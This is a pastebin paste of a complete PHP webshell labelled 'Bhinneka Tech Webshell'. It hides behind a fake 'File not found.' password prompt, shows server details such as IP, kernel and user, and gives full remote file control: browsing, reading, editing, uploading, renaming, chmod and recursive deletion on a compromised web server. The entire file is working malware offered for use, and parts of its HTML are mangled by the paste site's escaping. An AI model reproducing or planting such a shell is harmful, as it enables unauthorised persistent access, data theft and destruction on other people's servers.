Facebook
From test, 2 Months ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 187
  1.  <?php
  2.  
  3.  //Author by xpl0dec - Bhinneka Tech
  4.  error_reporting(0);
  5.  $password = "8e8d80283712ec22808331e716a0d711";
  6.  $cookie_value = md5(gzcompress($password)); //md5(substr(uniqid('', true), -13));
  7.  
  8.  if(isset($_COOKIE['auth_key']) && $_COOKIE['auth_key'] == $cookie_value) {
  9.    echo "";
  10.  }else {
  11.    if(md5($_POST['password']) == $password) {
  12.     setcookie("auth_key", $cookie_value, time() + (3600 * 4), "/");
  13.    }else {
  14.     loginShell();
  15.    }
  16.  }
  17.  
  18.  function info() {
  19.   $arr = [
  20.    'ip' => $_SERVER['SERVER_ADDR'],
  21.    'host' => gethostname(),
  22.    'kernel' => php_uname(),
  23.    'disablefunc' => ini_get('disable_functions'),
  24.    'path' => getcwd(),
  25.    'os' => PHP_OS,
  26.   ];  
  27.  
  28.   return $arr;
  29.  }
  30.  $getInfo = info();
  31.  
  32.  if(strtoupper(substr($getInfo['os'], 0, 3)) == 'WIN') {
  33.   $getInfo['os'] = 'Windows';
  34.   $paths = explode('\\', $getInfo['path']);
  35.   $paths = $paths[0] . '/';
  36.  }else if(strtoupper(substr($getInfo['os'], 0, 3)) == 'LIN') {
  37.   $getInfo['os'] = 'Linux';
  38.   $paths = '/';
  39.  }
  40.  
  41.  
  42.  $dir = getcwd();
  43.  
  44.  if(isset($_GET['path'])) {
  45.   $replace = str_replace('\\', '/', $_GET['path']);
  46.   $replace = str_replace('//', '/', $_GET['path']);
  47.   $pecah = explode('/', $replace);
  48.  }else {
  49.   $replace = str_replace('\\', '/', $dir);
  50.   $pecah = explode('/', $replace);
  51.  }
  52.  
  53.  function loginShell() {
  54.    if(!isset($_COOKIES['auth_key'])) {
  55.     echo "File not found.<br>&lt;form method='POST'&gt;&lt;input  0;' name='password' type='password'>&lt;/form&gt;";
  56.     die();
  57.    }
  58.  }
  59.  
  60.  function cekPermission($filenya) {
  61.  
  62.   $perms = fileperms($filenya);
  63.   switch ($perms & 0xF000) {
  64.    case 0xC000: // socket
  65.      $info = 's';
  66.      break;
  67.    case 0xA000: // symbolic link
  68.      $info = 'l';
  69.      break;
  70.    case 0x8000: // regular
  71.      $info = '-';
  72.      break;
  73.    case 0x6000: // block special
  74.      $info = 'b';
  75.      break;
  76.    case 0x4000: // directory
  77.      $info = 'd';
  78.      break;
  79.    case 0x2000: // character special
  80.      $info = 'c';
  81.      break;
  82.    case 0x1000: // FIFO pipe
  83.      $info = 'p';
  84.      break;
  85.    default:
  86.      $info = 'u';
  87.  }
  88.  
  89.     //Untuk Owner
  90.     $info .= (($perms & 0x0100) ? 'r' : '-');
  91.     $info .= (($perms & 0x0080) ? 'w' : '-');
  92.     $info .= (($perms & 0x0040) ?
  93.           (($perms & 0x0800) ? 's' : 'x' ) :
  94.           (($perms & 0x0800) ? 'S' : '-'));
  95.  
  96.     //Untuk Group
  97.     $info .= (($perms & 0x0020) ? 'r' : '-');
  98.     $info .= (($perms & 0x0010) ? 'w' : '-');
  99.     $info .= (($perms & 0x0008) ?
  100.           (($perms & 0x0400) ? 's' : 'x' ) :
  101.           (($perms & 0x0400) ? 'S' : '-'));
  102.  
  103.     //Untuk Other
  104.     $info .= (($perms & 0x0004) ? 'r' : '-');
  105.     $info .= (($perms & 0x0002) ? 'w' : '-');
  106.     $info .= (($perms & 0x0001) ?
  107.           (($perms & 0x0200) ? 't' : 'x' ) :
  108.           (($perms & 0x0200) ? 'T' : '-'));
  109.  
  110.     return $info;
  111.  }
  112.  
  113.  function hitungSize($fileSize) {
  114.   $bytes = sprintf('%u', filesize($fileSize));
  115.  
  116.    if ($bytes > 0)
  117.    {
  118.      $unit = intval(log($bytes, 1024));
  119.      $units = array('B', 'KB', 'MB', 'GB');
  120.  
  121.      if (array_key_exists($unit, $units) === true)
  122.      {
  123.        return sprintf('%d %s', $bytes / pow(1024, $unit), $units[$unit]);
  124.      }
  125.    }
  126.  
  127.    return $bytes;
  128.  }
  129.  
  130.  function bungkus($obj) {
  131.   $wrap = filter_var(htmlspecialchars(file_get_contents&#40;$obj&#41;), FILTER_SANITIZE_STRING);
  132.   return $wrap;
  133.  }
  134.  
  135.  function deleteFolder($dirnya) {
  136.   $files = array_diff(scandir($dirnya), array('.', '..'));
  137.  
  138.    foreach ($files as $file) {
  139.      (is_dir("$dirnya/$file")) ? deleteFolder("$dirnya/$file") : unlink&#40;"$dirnya/$file"&#41;;
  140.    }
  141.  
  142.    return rmdir($dirnya);
  143.  }
  144.  
  145.  function uploadFile&#40;$fileSementara, $fileUpload&#41; {
  146.   $terupload = move_uploaded_file&#40;$fileSementara, $fileUpload&#41;;
  147.   if($terupload) {
  148.    return true;
  149.   }else {
  150.    return false;
  151.   }
  152.  }
  153.  
  154.  function folder_exist($folder)
  155.  {
  156.    $path = realpath($folder);
  157.  
  158.    if($path !== false AND is_dir($path))
  159.    {
  160.      return true;
  161.    }
  162.  
  163.    return false;
  164.  }
  165.  
  166.  
  167.  if(isset($_GET['path'])) {
  168.   $get = $_GET['path'];
  169.   $pec = explode('/', $get);
  170.  
  171.   if(is_file&#40;$get&#41;) {
  172.    $konten = bungkus($get);
  173.    $cek = true;
  174.    $listDir = scandir($get);
  175.   }else {
  176.    $listDir = array_diff(scandir($get), ['.', '..']);
  177.   }
  178.  }else {
  179.   $get = $replace;
  180.   $listDir = array_diff(scandir($get), ['.', '..']);
  181.  }
  182.  
  183.  if(isset($_POST['pilihan'])) {
  184.   switch ($_POST['pilihan']) {
  185.    case $_POST['pilihan'] == 'edit':
  186.     $edit = true;
  187.     $dirFile = $_POST['dir'];
  188.     $sourceFile = base64_encode($_POST['sourceFile']);
  189.     if(!empty($sourceFile)){
  190.      if(file_put_contents($dirFile, base64_decode($sourceFile))) {
  191.       $successEdit = 'Berhasil di edit';
  192.      }else {
  193.       $successEdit = 'Gagal edit';    
  194.      }
  195.     }
  196.     break;
  197.    case $_POST['pilihan'] == 'rename':
  198.     $rename = true;
  199.     $dirFile = $_POST['dir'];
  200.     $filename = $_POST['namaFile'];
  201.     $namaBaru = $_POST['namaBaru'];
  202.     if(!empty($namaBaru)){
  203.      if(rename($dirFile, $_GET['path'] . '/' . $namaBaru)) {
  204.       $filename = $namaBaru;
  205.       $dirFile = $_GET['path'] . '/' . $namaBaru;
  206.       $successRename = 'Berhasil rename';
  207.      }else {
  208.       $successRename = 'Gagal rename';
  209.      }
  210.     }
  211.     break;
  212.    case $_POST['pilihan'] == 'delete':
  213.     $dirFile = $_POST['dir'];
  214.     $type = $_POST['type'];
  215.     if(isset($dirFile) && is_file&#40;$dirFile&#41;) {
  216.      if(unlink&#40;$dirFile&#41;) {
  217.       $pesanHapus =  "[removed]
  218.           alert&#40;'File berhasil dihapus!!'&#41;;
  219.           [removed].href = [removed].href;
  220.            [removed]";
  221.      }else {
  222.       $pesanHapus =  "[removed]
  223.           alert&#40;'File gagal dihapus!!'&#41;;
  224.           [removed].href = [removed].href;
  225.            [removed]";
  226.      }
  227.     }else if(isset($dirFile) && is_dir($dirFile)) {
  228.      //$dirFile = $dirFile . '/';
  229.      if(deleteFolder($dirFile)) {
  230.        $pesanHapus =  "[removed]
  231.           alert&#40;'Folder berhasil dihapus!!'&#41;;
  232.           [removed].href = [removed].href;
  233.            [removed]";
  234.      }else {
  235.       $pesanHapus =  "[removed]
  236.           alert&#40;'Folder gagal dihapus!!'&#41;;
  237.           [removed].href = [removed].href;
  238.            [removed]";
  239.      }
  240.     }
  241.     break;
  242.    case $_POST['pilihan'] == 'chmod':
  243.     $chmod = true;
  244.     $file = fileperms($_POST['dir']);
  245.     $permission = substr(sprintf('%o', $file), -4);
  246.     $dirFile = $_POST['dir'];
  247.     $perms = octdec($_POST['perms']);
  248.     if(isset($_POST['perms'])) {
  249.      if(isset($perms)) {
  250.       if(chmod($dirFile, $perms)) {
  251.        $permission = decoct($perms);
  252.        $successChmod ='Berhasil chmod!';
  253.       }else {
  254.        $successChmod = 'Gagal chmod!';
  255.       }
  256.      }
  257.     }
  258.     break;
  259.    case $_POST['pilihan'] == 'create':
  260.     $namaFile = "";
  261.     $isiFile = "";
  262.  
  263.     $dirPath = $_GET['path'] . '/';
  264.     if(isset($_POST['createAction'])) {
  265.      $namaFile = $_POST['createName'];
  266.      $isiFile = ($_POST['createIsi'] == NULL) ? ' ' : base64_encode($_POST['createIsi']);
  267.      if(!file_exists($dirPath . $namaFile)) {
  268.       if(file_put_contents($dirPath . $namaFile, base64_decode($isiFile))) {
  269.        $pesanCreate = 'File berhasil dibuat';
  270.       }else {
  271.        $pesanCreate = 'Directory not Writable';
  272.       }
  273.      }else {
  274.       $pesanCreate = 'Nama file / folder sudah ada';
  275.      }
  276.     }
  277.     break;
  278.    case $_POST['pilihan'] == 'createFolder':
  279.     $dirPath = $_GET['path'] . '/';
  280.     if(isset($_POST['createFolder'])) {
  281.      $namaFolder = $_POST['createName'];
  282.      if(mkdir($dirPath . $namaFolder)) {
  283.       $pesanCreate = 'Folder berhasil dibuat';
  284.      }else {
  285.       if(is_dir($namaFolder)) {
  286.        $pesanCreate = 'Nama Folder / File sudah ada';
  287.       }elseif(!is_writable($dirPath)){
  288.        $pesanCreate = 'Directory not writable';
  289.       }
  290.      }
  291.     }
  292.     break;
  293.    case $_POST['pilihan'] == 'upload':
  294.     $path = $replace;
  295.     if(isset($_GET['path'])) {
  296.      $path = $_GET['path'];
  297.     }
  298.  
  299.     if(!empty($_FILES)) {
  300.      if(uploadFile&#40;$_FILES['uploadFile']['tmp_name'], $path . '/' . $_FILES['uploadFile']['name']&#41;) {
  301.       echo "[removed]
  302.         alert&#40;'File berhasil diupload!!'&#41;;
  303.         [removed].href = [removed].href;
  304.         [removed]";
  305.      }else {
  306.       echo "[removed]
  307.         alert&#40;'File gagal diupload!!'&#41;;
  308.         [removed].href = [removed].href;
  309.         [removed]";
  310.      }
  311.     }
  312.     break;
  313.   }
  314.  }
  315.  
  316.  
  317.  
  318.  ?&gt;
  319.  
  320.  <!DOCTYPE html>
  321.  &lt;html&gt;
  322.  &lt;head&gt;
  323.   &lt;title&gt;Webshell Bhinneka Tech&lt;/title&gt;
  324.  &lt;/head&gt;
  325.  &lt;link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"&gt;
  326.  &lt;link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css"&gt;
  327.  &lt;meta name="viewport" c&gt;
  328.  &lt;meta name="viewport" c initial-scale=1.0"/&gt;
  329.  &lt;meta name="viewport" c initial-scale=0.60, shrink-to-fit=no"&gt;
  330.  &lt;style type="text/css"&gt;
  331.   body {
  332.    width: 100vw;
  333.     height: 100px;
  334.    overflow-x: hidden !important;
  335.   }
  336.   .info {
  337.    display: block;
  338.    width: 100%;
  339.   }
  340.    
  341.   table.striped > tbody > tr:nth-child(odd) {
  342.    background-color: rgba(170, 213, 213, 0.5);
  343.   }
  344.   nav {
  345.    background-color: #42a5f5;
  346.   }
  347.   .select-wrapper {
  348.    position: relative;
  349.    width: 100px;
  350.    display: inline-block;
  351.   }
  352.  
  353.   .file-field .btn, .file-field .btn-large, .file-field .btn-small {
  354.    float: inherit;
  355.    height: 3rem;
  356.    line-height: 3rem;
  357.   }
  358.  
  359.   .select-wrapper .caret {
  360.    right: auto !important;
  361.   }
  362.  
  363.   .select-wrapper input.select-dropdown {
  364.    width: 50%;
  365.   }
  366.  
  367.   textarea {
  368.     height: 50rem !important;
  369.    overflow-y: scroll !important;
  370.    height: 700px !important;
  371.   }
  372.  
  373.   .maung {
  374.    height: 700px !important;
  375.   }
  376.  
  377.   table{
  378.    width:100%;
  379.    table-layout: fixed;
  380.    overflow-wrap: break-word;
  381.   }
  382.  
  383.   @media screen and (max-width: 732px) {
  384.    .navbar-text {
  385.     font-size: 25px !important;
  386.     width: 280px !important;
  387.    }
  388.   }
  389.  
  390.  &lt;/style&gt;
  391.  &lt;body&gt;
  392.   <div class="content">
  393.   <nav>
  394.     <div class="container">
  395.     <div class="nav-wrapper">
  396.      <a href="#" class="brand-logo center navbar-text">Bhinneka Tech Webshell</a>
  397.     </div>
  398.    </div>
  399.    </nav>
  400.  
  401.    <div class="container"  30px;">
  402.      <b class="info">Server IP : &lt;?= $getInfo['ip']; ?&gt;</b>
  403.      <b class="info">Hostname : &lt;?= $getInfo['host']; ?&gt;</b>
  404.      <b class="info">Kernel : &lt;?= $getInfo['kernel']; ?&gt;</b>
  405.      <b class="info">OS : &lt;?= $getInfo['os']; ?&gt;</b>
  406.    <b class="info">USER : &lt;?= get_current_user(); ?&gt;</b>
  407.   </div>
  408.   <br>
  409.   &lt;?php if($cek){ ?&gt;
  410.  
  411.  <div class="container">
  412.  <div class="row">
  413.   <div  17px;">
  414.   &lt;?php  
  415.      echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  416.      for ($i = 1; $i < count($pecah); $i++) {
  417.       $subpath = implode('/', array_slice($pecah, 1, $i));
  418.       echo '/';
  419.       echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  420.      }
  421.      ?&gt;
  422.   </div>
  423.    &lt;form class="col s12"&gt;
  424.     <div class="row">
  425.      <div class="input-field col s12">
  426.       &lt;textarea id="textarea" class="materialize-textarea"  ghostwhite; overflow-y: auto;" disabled&gt;&lt;?= $konten; ?&gt;&lt;/textarea&gt;
  427.      </div>
  428.     </div>
  429.    &lt;/form&gt;
  430.   </div>
  431.  </div>
  432.   &lt;?php }else if($edit){ ?&gt;
  433.    <div class="container">
  434.    &lt;?php  
  435.      echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  436.      for ($i = 1; $i < count($pecah); $i++) {
  437.       $subpath = implode('/', array_slice($pecah, 1, $i));
  438.       echo '/';
  439.       echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  440.      }
  441.    ?&gt;
  442.    &lt;?= !empty($successEdit) ? "<p class='blue-text text-darken-2'>" . $successEdit . "</p>" : ""; ?&gt;
  443.    &lt;form method="POST"&gt;
  444.    >
  445.    &lt;input type="hidden" name="pilihan" value="edit"&gt;
  446.    <div class="row">
  447.     &lt;form class="col s12"&gt;
  448.      <div class="input-field col s12">
  449.      &lt;textarea name="sourceFile" id="textarea" class="materialize-textarea"  ghostwhite; overflow-y: auto;" &gt;&lt;?= bungkus($dirFile); ?&gt;&lt;/textarea&gt;
  450.      <label for="textarea" class='active'>Edit File</label>
  451.      <button class="btn waves-effect waves-light" type="submit" name="action">Edit</button>
  452.     &lt;/form&gt;
  453.    </div>
  454.    &lt;/form&gt;
  455.    </div>
  456.   &lt;?php }else if($rename){ ?&gt;
  457.    <div class="container">
  458.    &lt;?php  
  459.      echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  460.      for ($i = 1; $i < count($pecah); $i++) {
  461.       $subpath = implode('/', array_slice($pecah, 1, $i));
  462.       echo '/';
  463.       echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  464.      }
  465.      ?&gt;
  466.    &lt;?= !empty($successRename) ? "<p class='blue-text text-darken-2'>" . $successRename . "</p>" : ""; ?&gt;
  467.    &lt;form method="POST"&gt;
  468.     >
  469.     &lt;input type="hidden" name="pilihan" value="rename"&gt;
  470.      <div class="row center-align">
  471.       <div class="input-field col s12">
  472.        >
  473.        <label class="active" for="rename">Input disini:</label>
  474.        <button class="btn waves-effect waves-light" type="submit" name="action">Rename</button>
  475.       </div>
  476.      </div>    
  477.    &lt;/form&gt;
  478.    </div>
  479.   &lt;?php }else if($chmod) { ?&gt;
  480.    <div class="container">
  481.    &lt;?php  
  482.      echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  483.      for ($i = 1; $i < count($pecah); $i++) {
  484.       $subpath = implode('/', array_slice($pecah, 1, $i));
  485.       echo '/';
  486.       echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  487.      }
  488.      ?&gt;
  489.    &lt;?= !empty($successChmod) ? "<p class='blue-text text-darken-2'>" . $successChmod . "</p>" : ''; ?&gt;
  490.    &lt;form method="POST"&gt;
  491.     >
  492.     &lt;input type="hidden" name="pilihan" value="chmod"&gt;
  493.      <div class="row center-align">
  494.       <div class="input-field col s12">
  495.        >
  496.        <label class="active" for="chmod">Input disini:</label>
  497.        <button class="btn waves-effect waves-light" type="submit" name="action">Chmod</button>
  498.       </div>
  499.      </div>
  500.    &lt;/form&gt;
  501.    </div>
  502.   &lt;?php }else if(isset($_GET['create'])){ ?&gt;
  503.    <br>
  504.    <div class="container">
  505.    &lt;?php  
  506.      echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  507.      for ($i = 1; $i < count($pecah); $i++) {
  508.       $subpath = implode('/', array_slice($pecah, 1, $i));
  509.       echo '/';
  510.       echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  511.      }
  512.      ?&gt;
  513.    &lt;?= !empty($pesanCreate) ? "<p class='blue-text text-darken-2'>" . $pesanCreate . "</p>" : ""; ?&gt;
  514.    &lt;form method="POST"&gt;
  515.     &lt;input type="hidden" name="pilihan" value="create"&gt;
  516.      <div class="row center-align">
  517.       <div class="input-field col s12">
  518.        >
  519.        <label class="active" for="createFile">Nama File</label>
  520.        &lt;textarea name="createIsi" class="materialize-textarea"
  521.             400px; background-color: ghostwhite; overflow-y: scroll;"&gt;&lt;?= base64_decode($isiFile); ?&gt;&lt;/textarea&gt;
  522.        <button class="btn waves-effect waves-light" type="submit" name="createAction">Create</button>
  523.       </div>
  524.      </div>
  525.    &lt;/form&gt;
  526.    </div>
  527.   &lt;?php }else if(isset($_GET['createFolder'])){ ?&gt;
  528.    <div class="container">
  529.    &lt;?php  
  530.      echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  531.      for ($i = 1; $i < count($pecah); $i++) {
  532.       $subpath = implode('/', array_slice($pecah, 1, $i));
  533.       echo '/';
  534.       echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  535.      }
  536.      ?&gt;
  537.    &lt;?= !empty($pesanCreate) ? "<p class='blue-text text-darken-2'>" . $pesanCreate . "</p>" : ""; ?&gt;
  538.    &lt;form method="POST"&gt;
  539.     &lt;input type="hidden" name="pilihan" value="createFolder"&gt;
  540.      <div class="row center-align">
  541.       <div class="input-field col s12">
  542.        >
  543.        <label class="active" for="createFolder">Nama Folder</label>
  544.        <button class="btn waves-effect waves-light" type="submit" name="createFolder">Create</button>
  545.       </div>
  546.      </div>
  547.    &lt;/form&gt;
  548.    </div>
  549.   &lt;?php }else{ ?&gt;
  550.   <div class="container">
  551.   <b class="info">
  552.   ><i class="material-icons">add</i></a> <b>Add File&nbsp;&nbsp;&nbsp;</b>
  553.   ><i class="material-icons">add</i></a> <b>Add Folder</b>
  554.   <br>
  555.   <b class="info">
  556.    &lt;form method="POST" enctype="multipart/form-data"&gt;
  557.      <div class="file-field input-field">
  558.       <div class="btn">
  559.        <span>File</span>
  560.        &lt;input type="hidden" name="pilihan" value="upload"&gt;
  561.        >
  562.        &lt;input type="file" name="uploadFile"&gt;
  563.       </div>
  564.       <div class="file-path-wrapper">
  565.        &lt;input class="file-path validate" type="text"  300px"&gt;
  566.        <button class="btn waves-effect waves-light" type="submit" name="actionUpload">Upload!
  567.      </button>
  568.       </div>
  569.      </div>
  570.     &lt;/form&gt;
  571.   </b>
  572.   &lt;!-- <div  18px;"> --&gt;
  573.   <div class="row"><div class="col s12"  18px;">
  574.   PATH:
  575.   &lt;?php  
  576.      echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  577.      for ($i = 1; $i < count($pecah); $i++) {
  578.       $subpath = implode('/', array_slice($pecah, 1, $i));
  579.       echo '/';
  580.       echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  581.      }
  582.      ?&gt;
  583.   </div></div>
  584.  </div>
  585.  
  586.   <div class="container">
  587.   <table class="striped centered bordered">
  588.    &lt;?= !empty($pesanHapus) ? $pesanHapus : ''; ?&gt;  
  589.    <thead>
  590.    <tr>
  591.     <th>Nama</th>
  592.     <th>Size</th>
  593.     <th>Permission</th>
  594.     <th>Action</th>
  595.    </tr>
  596.    </thead>
  597.    &lt;?php foreach($listDir as $dir): ?&gt;
  598.    <tr>
  599.     <td>>">&lt;?= $dir; ?&gt;</a></td>
  600.     <td>&lt;?= is_file&#40;$get . '/' . $dir&#41; ? hitungSize($get . '/' . $dir) : 'Folders'; ?&gt;</td>
  601.     <td>&lt;?= is_writable($get . '/' . $dir) ? '<font color="green">' . @cekPermission($get . '/' . $dir) . '</font>' : '<font color="red">' . @cekPermission($get . '/' . $dir) . '</font>';?&gt;</td>
  602.     <td>
  603.      &lt;?php if(is_file&#40;$get . '/' . $dir&#41;): ?&gt;
  604.      >
  605.       <center>
  606.       <select class="browser-default" name="pilihan"  30px; width: 70px; z-index: 1;">
  607.        <option value="Select" disabled selected>Pilih</option>
  608.        <option value="rename">Rename</option>
  609.        <option value="edit">Edit</option>
  610.        <option value="delete">Delete</option>
  611.        <option value="chmod">Chmod</option>
  612.       </select>
  613.       </center>
  614.       &lt;input type="hidden" name="type" value="file"&gt;
  615.       >
  616.       >
  617.       <button class="btn waves-effect waves-light" type="submit" name="action">
  618.         <i class="material-icons right">send</i>
  619.       </button>
  620.      &lt;/form&gt;
  621.      &lt;?php else: ?&gt;
  622.      >
  623.       <center>
  624.       <select class="browser-default" name="pilihan"  30px; width: 70px; z-index: 1;" name="pilihan">
  625.        <option value="Select" disabled selected>Pilih</option>
  626.        <option value="rename">Rename</option>
  627.        <option value="delete">Delete</option>
  628.        <option value="chmod">Chmod</option>
  629.       </select>
  630.       </center>
  631.       &lt;input type="hidden" name="type" value="folder"&gt;
  632.       >
  633.       >
  634.       <button class="btn waves-effect waves-light" type="submit" name="action">
  635.         <i class="material-icons right">send</i>
  636.       </button>
  637.      &lt;/form&gt;
  638.      &lt;?php endif; ?&gt;
  639.     </td>
  640.    </tr>
  641.    &lt;?php endforeach; ?&gt;
  642.   </table>
  643.  </div>
  644.   &lt;?php } ?&gt;
  645.  </div>
  646.  
  647.   <footer id="footer"  100px;">
  648.  
  649.   </footer>
  650.  
  651.  [removed][removed]
  652.  [removed]
  653.  
  654.  var footer = document.querySelector("footer");
  655.  
  656.  function stopScrollAtFooter() {
  657.    var footerHeight = footer.clientHeight;
  658.    var contentHeight = document.body.scrollHeight;
  659.    var scrollY = window.scrollY;
  660.  
  661.   if (scrollY + window.innerHeight >= contentHeight - footerHeight) {
  662.     window.scrollTo(0, contentHeight - window.innerHeight);
  663.    }
  664.   }
  665.  
  666.   window.addEventListener("scroll", stopScrollAtFooter);
  667.  
  668.  
  669.   document.addEventListener('DOMContentLoaded', function() {
  670.    var elems = document.querySelectorAll('select');
  671.    var instances = M.FormSelect.init(elems, {});
  672.   });
  673.  [removed]
  674.  &lt;/body&gt;
  675.  &lt;/html&gt;
  676.